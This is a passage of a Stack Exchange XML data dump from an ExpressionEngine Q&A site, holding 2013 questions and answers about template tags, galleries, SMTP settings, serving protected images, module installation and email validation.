&quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(70) &quot;Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;54180&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360414548&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360414548&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;439 308&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(81) &quot;{filedir_4}Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(66) &quot;Achieving_Excellence_via_Data-driven_Decision_Making_in_Government&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(133) &quot;http://www3.governmentsummituae.com/assets/images/publications/Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;308&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;439&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(81) &quot;{filedir_4}Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;string(85) &quot;{filedir_4}Achieving_Excellence_via_Data-Driven_Decision_Making_in_Government_ENG.pdf&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;............. had to crop because of post length&lt;/p&gt;&#xA;" OwnerUserId="717" LastEditorUserId="717" LastEditDate="2013-03-09T08:39:42.327" LastActivityDate="2013-03-19T14:54:25.603" Title="Php warnings after moving site (preg_match() expects parameter 2 to be string , Cannot modify header information )" Tags="|php-errors|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7164" PostTypeId="2" ParentId="4977" CreationDate="2013-03-08T16:02:22.163" Score="0" Body="&lt;p&gt;First off... Thanks for the insight nonprofit_tech...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never followed up on this. I apologize. I ended up suggesting a process injection for them when they would like to use double spaces in fields that &quot;auto-corrected&quot; them by adding a '&amp;nbsp;' followed by a normal keyboard space.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-03-08T16:02:22.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7165" PostTypeId="2" ParentId="7102" CreationDate="2013-03-08T16:20:02.177" Score="1" Body="&lt;p&gt;You might try embedding the gallery, I've built similar galleries using this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA; channel=&quot;{embed:listings}&quot; &#xA; category=&quot;{embed:listingcat}&quot; &#xA; orderby=&quot;date&quot; &#xA; sort=&quot;desc&quot; &#xA; disable=&quot;member_data|trackbacks|pagination&quot; &#xA; dynamic=&quot;no&quot;&#xA; }&#xA;&#xA;&#xA;    &amp;lt;ul class=&quot;gallery&quot;&amp;gt;&#xA;    {gallery_images}&#xA;        &amp;lt;li{if row_count == &quot;1&quot;} {/if}&amp;gt;&#xA;          &amp;lt;a href=&quot;{large}&quot; rel=&quot;prettyPhoto[{url_title}]&quot; title=&quot;{text}&quot; &amp;gt;&#xA;            {exp:imgsizer:size src=&quot;{large}&quot; width=&quot;160&quot; height=&quot;105&quot;}&#xA;               &amp;lt;img src=&quot;{sized}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            {/exp:imgsizer:size}&#xA;        &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/gallery_images}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{/exp:channel:entries}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embed tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/_category_listings&quot; &#xA;listingcat=&quot;{category_id}&quot; &#xA;listings=&quot;portfolio&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the matrix field settings: &lt;a href=&quot;http://d.pr/i/lSzr&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/lSzr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the publish fields: &lt;a href=&quot;http://d.pr/i/r6ko&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/r6ko&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;gallery&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;first&quot;&amp;gt;&amp;lt;a title=&quot;title&quot; rel=&quot;prettyPhoto[invitations1]&quot; href=&quot;/images/uploads/portfolio/img1.jpg&quot;&amp;gt;&#xA;    &amp;lt;img width=&quot;160&quot; height=&quot;105&quot; alt=&quot;Invitations&quot; src=&quot;/images/sized/images/uploads/portfolio/img1-160x105.jpg&quot;&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a title=&quot;title&quot; rel=&quot;prettyPhoto[invitations1]&quot; href=&quot;/images/uploads/portfolio/img2.jpg&quot;&amp;gt;&#xA;    &amp;lt;img width=&quot;160&quot; height=&quot;105&quot; alt=&quot;Invitations&quot; src=&quot;/images/sized/images/uploads/portfolio/img2-160x105.jpg&quot;&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a title=&quot;title&quot; rel=&quot;prettyPhoto[invitations1]&quot; href=&quot;/images/uploads/portfolio/img3.jpg&quot;&amp;gt;&#xA;    &amp;lt;img width=&quot;160&quot; height=&quot;105&quot; alt=&quot;Invitations&quot; src=&quot;/images/sized/images/uploads/portfolio/img3-160x105.jpg&quot;&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Javascript call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;area[rel^='prettyPhoto']&quot;).prettyPhoto();&#xA;    $(&quot;.gallery a[rel^='prettyPhoto']&quot;).prettyPhoto({});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="150" LastEditDate="2013-03-10T04:48:56.117" LastActivityDate="2013-03-10T04:48:56.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7166" PostTypeId="1" CreationDate="2013-03-08T16:31:01.613" Score="1" ViewCount="92" Body="&lt;p&gt;I'm using 'Channel Videos' plug in which works fine to display videos on my sites page. But when I try and delete a video from the entry, it appears to be removed looking at the control panel, I click submit and the video comes back again and still displays on the control panel and on the site. I'm using Channel Videos 3.1.0 and EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated thanks.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2016-07-21T12:40:57.850" Title="Problem deleting videos using 'Channel Videos' Plug in" Tags="|channel-videos|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7167" PostTypeId="2" ParentId="5904" CreationDate="2013-03-08T16:32:01.520" Score="2" Body="&lt;p&gt;I just posted &lt;a href=&quot;http://devot-ee.com/add-ons/audit&quot; rel=&quot;nofollow&quot;&gt;Audit&lt;/a&gt; on Devot:ee. An add-on that tracks additional activity in the Control Panel, including entry deletes.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-08T16:32:01.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7168" PostTypeId="2" ParentId="7160" CreationDate="2013-03-08T17:30:21.087" Score="2" Body="&lt;p&gt;I think it's the port number in your smtp_server. I believe that parameter is only looking for &lt;code&gt;ssl://your.host.name&lt;/code&gt;. You should add the port number separately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['email_smtp_port'] = 587;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-03-08T17:30:21.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7169" PostTypeId="1" CreationDate="2013-03-08T17:35:14.030" Score="1" ViewCount="212" Body="&lt;p&gt;I have an invite a friend form on this page: &lt;a href=&quot;http://backtochurch.com/emailafriend/friends&quot; rel=&quot;nofollow&quot;&gt;http://backtochurch.com/emailafriend/friends&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a textarea with some pre-filled text with the word &quot;it's&quot; in the last line. The apostrophe keeps getting encoded in the sent email with a backslash in front of the apostrophe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ExpressionEngine and Magic Quotes is off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\\\' &amp;amp;#146; &amp;amp;apos;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have searched for an answer on this, but none of these solutions work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1150" LastActivityDate="2013-03-08T17:35:14.030" Title="Backslash When Using Apostrophe In Textarea" Tags="|character-encoding|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7170" PostTypeId="2" ParentId="7151" CreationDate="2013-03-08T17:42:32.707" Score="2" Body="&lt;p&gt;First, you'd have to set up your upload directory to be below the web root, so your structure might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public_html/&#xA;private/&#xA;private/uploads/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make a template for serving up these protected images, say protected/images is your template group / template name. Set your upload directory's URL to this template: /protected/images/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template, enable PHP (or convert this to a plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// set this to your real file upload path&#xA;$path = '/var/www/private/uploads/';&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('file');&#xA;&#xA;// they're logged in, show 'em the image&#xA;if ($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'))&#xA;{&#xA;  $filename = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(3);&#xA;&#xA;  if ( ! $filename || ! file_exists($path.$filename))&#xA;  {&#xA;    $this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_status_header(404);&#xA;  }&#xA;  else&#xA;  {&#xA;    $this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_content_type(get_mime_by_extension($filename));&#xA;&#xA;    echo file_get_contents($path.$filename);&#xA;  }&#xA;}&#xA;else&#xA;{&#xA;  $this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_status_header(401);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is intended to be just a starting point, your mileage may vary.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-03-08T17:42:32.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7171" PostTypeId="1" AcceptedAnswerId="7175" CreationDate="2013-03-08T17:56:01.403" Score="3" ViewCount="178" Body="&lt;p&gt;When installing a module how do you require it's extension to be installed at the same time and vice versa?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a google search and looked over the docs as well and didn't find anything. That doesn't mean it's not out there. Maybe I wasn't searching for the right terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tDytE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-03-08T18:04:44.330" LastActivityDate="2013-03-08T18:15:44.207" Title="How to force installation of extension during module install" Tags="|add-on|add-on-development|module|extension|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7172" PostTypeId="2" ParentId="7161" CreationDate="2013-03-08T17:59:41.000" Score="1" Body="&lt;p&gt;Sounds like your member group permissions aren't set up correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#can-submit-comments&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Can submit comments&lt;/strong&gt;&lt;/a&gt; and &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#can-view-public-profiles&quot; rel=&quot;nofollow&quot;&gt;Can view public profiles are&lt;/a&gt;&lt;/strong&gt; enabled for the member group.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-08T17:59:41.000" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7175" PostTypeId="2" ParentId="7171" CreationDate="2013-03-08T18:15:44.207" Score="6" Body="&lt;p&gt;This is a bit of an undocumented feature, but it works like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your extension, add a class variable called &lt;code&gt;$required_by&lt;/code&gt;, with an array of values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$required_by = array('module');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;('module' is actually the only acceptable array value here, as neither plugins nor accessories have installation routines, which are needed for this to work.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this &lt;em&gt;does not automatically install&lt;/em&gt; (or later, uninstall) your extension. It just makes it clear that you can't install one without the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your module's &lt;code&gt;install()&lt;/code&gt; method must &lt;em&gt;also&lt;/em&gt; install your extension (basically, everything you'd normally have in your extension's &lt;code&gt;activate_extension()&lt;/code&gt; method). Likewise, your module's &lt;code&gt;uninstall()&lt;/code&gt; method must contain everything your extension's &lt;code&gt;disable_extension()&lt;/code&gt;  method would normally have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(These methods in your extension in this case should just &lt;code&gt;return true&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the bundled Safecracker package for a good example.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-08T18:15:44.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7180" PostTypeId="1" CreationDate="2013-03-08T20:47:50.427" Score="0" ViewCount="117" Body="&lt;p&gt;I have never had this issue before but I am working on a site and implimented a simple search form like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;about&quot; result_page=&quot;site/search&quot;}&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;                        &#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I enter a search term and click submit I get a blank page that says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Safari can't open this page mytesturl.com%20/ because the page's address isn't valid&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And see that it is in fact trying to go to mytesturl.com%20/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes no sense - tried a few things but no luck yet.  Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guy&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2013-03-08T23:39:02.837" Title="EE Search Problem" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7181" PostTypeId="1" AcceptedAnswerId="7184" CreationDate="2013-03-08T20:57:27.627" Score="2" ViewCount="283" Body="&lt;p&gt;I've got a low variable which is correctly parsing channel entries tags, but for some reason will not parse {current_time format=&quot;%Y&quot;} no matter what settings I use (early parsing on/off). All it outputs is the raw code for that tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please advise&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-03-09T00:47:17.870" Title="{current_time format=&quot;%Y&quot;} not working with Low Variables" Tags="|low-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7182" PostTypeId="2" ParentId="7180" CreationDate="2013-03-08T23:39:02.837" Score="3" Body="&lt;p&gt;Looks to me like you have a space after your 'URL to the root directory of your site' in 'Admin' &gt; 'General Configuration' settings.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-08T23:39:02.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7184" PostTypeId="2" ParentId="7181" CreationDate="2013-03-09T00:47:17.870" Score="3" Body="&lt;p&gt;It's to do with the good old parse order. To get around it use the short version of the tag together with early parsing and it should work so simply {my_var} instead of e.g. {exp:low_variables:single var=&quot;my_var&quot;}&lt;/p&gt;&#xA;" OwnerUserId="408" LastActivityDate="2013-03-09T00:47:17.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7185" PostTypeId="1" AcceptedAnswerId="7186" CreationDate="2013-03-09T01:06:40.133" Score="1" ViewCount="455" Body="&lt;p&gt;There is a particular member in my site that needs access but her corporate email that is attached to her account has an apostrophe in it. How do I allow EE to allow apostrophes in emails for member accounts? &lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2014-07-07T19:12:47.287" Title="Allow &quot;Invalid&quot; Characters in Member Account Email? Apostrophe" Tags="|members|email|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7186" PostTypeId="2" ParentId="7185" CreationDate="2013-03-09T02:16:41.313" Score="5" Body="&lt;p&gt;In order to allow the apostrophe, I had to hack the core code. Specifically, a CodeIgniter helper within:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/codeigniter/system/helpers/email_helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there, find around line 40 this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ( ! preg_match(&quot;/^([a-z0-9\+_\-]+)(\.[a-z0-9\+_\-]+)*@([a-z0-9\-]+\.)+[a-z]{2,6}$/ix&quot;, $address)) ? FALSE : TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then replace that line with this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ( ! preg_match(&quot;/^([a-z0-9\+_\-']+)(\.[a-z0-9\+_\-']+)*@([a-z0-9\-]+\.)+[a-z]{2,6}$/ix&quot;, $address)) ? FALSE : TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Found the particular regex in an old EE Forum Thread here:&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/84711/&quot; rel=&quot;noreferrer&quot;&gt;http://ellislab.com/forums/viewthread/84711/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything wrong with this approach or the expression used?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-03-09T02:16:41.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7187" PostTypeId="1" AcceptedAnswerId="7190" CreationDate="2013-03-09T06:38:57.780" Score="0" ViewCount="65" Body="&lt;p&gt;I recall when I installed Assets 1, WYGWAM's insert image dialog would then pull up the Assets file picker. That doesn't happen with Assets 2.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WYGWAM 2.7 on EE2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-08T13:07:03.233" Title="Assets modal window doesn't appear for WYGWAM insert image dialog" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7188" PostTypeId="1" CreationDate="2013-03-09T08:06:54.943" Score="3" ViewCount="254" Body="&lt;p&gt;I have a matrix with a text field and a NSM TinyMCE field. For some reason the NSM TinyMCE field keeps converting HTML tags to entities. So I get things like:&#xA;&lt;p&gt;&amp;lt;p&amp;gt;&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime I save the entry I get a new set of &amp;lt;p&amp;gt;&amp;amp;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked NSM TinyMCE field on its own and that works fine. No entities conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the channel for &quot;Default HTML formatting in channel entries&quot; and it's set to &quot;Allow all HTML&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried adding entity_encoding : &quot;raw&quot; in my TinyMCE config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE2 is v2.5.3 &#xA;Matrix 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1153" LastActivityDate="2013-09-05T16:56:34.253" Title="How to stop Matrix NSM TinyMCE field from converting HTML tags to entities" Tags="|ee2|matrix|html-entities|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7189" PostTypeId="1" AcceptedAnswerId="11500" CreationDate="2013-03-09T11:53:13.867" Score="0" ViewCount="94" Body="&lt;p&gt;I want to create a template that will show a full size image and all the metadata.&#xA;So the url would be something like siteurl/photo/221 with the 221 being the asset_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I would use the tag {asset_id} within my tag pair to build the url link but it just returns {asset_id} rather than the number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then thought I'd use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files asset_id=&quot;{segment_2&quot;}&#xA;    &amp;lt;img src=&quot;{url}&quot; title=&quot;{title}&quot; alt=&quot;{description}&quot; /&amp;gt;&#xA;{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the photo template, but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it a bug that {asset_id} doesn't work, and is my code example the right way to get the data for a single image?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-06-26T08:04:24.240" Title="How to link to file using asset_id" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7190" PostTypeId="2" ParentId="7187" CreationDate="2013-03-09T12:16:21.103" Score="1" Body="&lt;p&gt;You must force WYGWAM to use Assets and not File Manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules &gt; WYGWAM &gt; Settings - choose Assets obviously :P&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-03-09T12:16:21.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7191" PostTypeId="2" ParentId="7097" CreationDate="2013-03-09T12:27:45.180" Score="2" Body="&lt;p&gt;If I understand your question correctly this is a job for &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, (or a custom plugin). Split the template into two parts - the first part simply fetches all the data and stashes into variables, then the second part can output those variables along with some conditional checks to ensure the dates are valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be enough to get you started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;whatever&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;&#xA;    {!--  ============================================&#xA;    fetch and stash the dataset into individual variables&#xA;    ================================================== --}&#xA;&#xA;    {exp:stash:set_list name=&quot;dataset&quot; parse_tags=&quot;yes&quot;}&#xA;        {matrix row_id=&quot;{segment_4}&quot;}&#xA;&#xA;            {stash:the_title}{title}{/stash:the_title}&#xA;&#xA;            {!-- &#xA;            add further current row fields here &#xA;            in the form {stash:anything_you_like}{column_name}{/stash:anything_you_like}&#xA;            --}&#xA;&#xA;            {stash:row_date}&#xA;                {related}&#xA;                    {entry_date}&#xA;                {/related}&#xA;            {/stash:row_date}&#xA;&#xA;            {prev_row}&#xA;                {stash:prev_date}                   &#xA;                    {related}&#xA;                        {entry_date}&#xA;                    {/related}                  &#xA;                {/stash:prev_date}&#xA;                {stash:prev_id}{row_id}{/stash:prev_id} &#xA;            {/prev_row}&#xA;&#xA;            {next_row}&#xA;                {stash:next_date}                   &#xA;                    {related}&#xA;                        {entry_date}&#xA;                    {/related}                  &#xA;                {/stash:next_date}&#xA;                {stash:next_id}{row_id}{/stash:next_id}         &#xA;            {/next_row}&#xA;&#xA;        {/matrix}&#xA;    {/exp:stash:set_list}&#xA;&#xA;&#xA;    {!--  ============================================&#xA;    start output&#xA;    ================================================== --}&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list name=&quot;dataset&quot; trim=&quot;yes&quot;}&#xA;&#xA;            {!--  ============================================&#xA;            row_date, prev_date and next_date will be empty&#xA;            if the related entry_date is in the future...&#xA;            The first check on row_date prevents hacking via the URL&#xA;            ================================================== --}&#xA;&#xA;            {if row_date}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;{the_title}&amp;lt;/h3&amp;gt;&#xA;                    {if prev_date}&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{prev_id}&quot;&amp;gt;Show prev row&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                    {if next_date}&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{next_id}&quot;&amp;gt;Show next row&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/if}&#xA;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-09T12:27:45.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7192" PostTypeId="1" AcceptedAnswerId="7204" CreationDate="2013-03-09T17:43:50.080" Score="0" ViewCount="124" Body="&lt;p&gt;I have the need to allow site editors to be able to create groups of &quot;events&quot; and assign a title, body, icon, etc to those events, order them, and place them where they like inside of their &quot;pages&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have an &quot;Events&quot; channel set up and each entry in that channel is 1 individual event. The reason for this is that they would like those events to &quot;expire&quot; at a date/time they specify. Each of those entries are assigned one or more categories. From there, I have an embed code similar to this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/events&quot; category=&quot;25&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is entered into any page (Structure) they want that category of events to show up 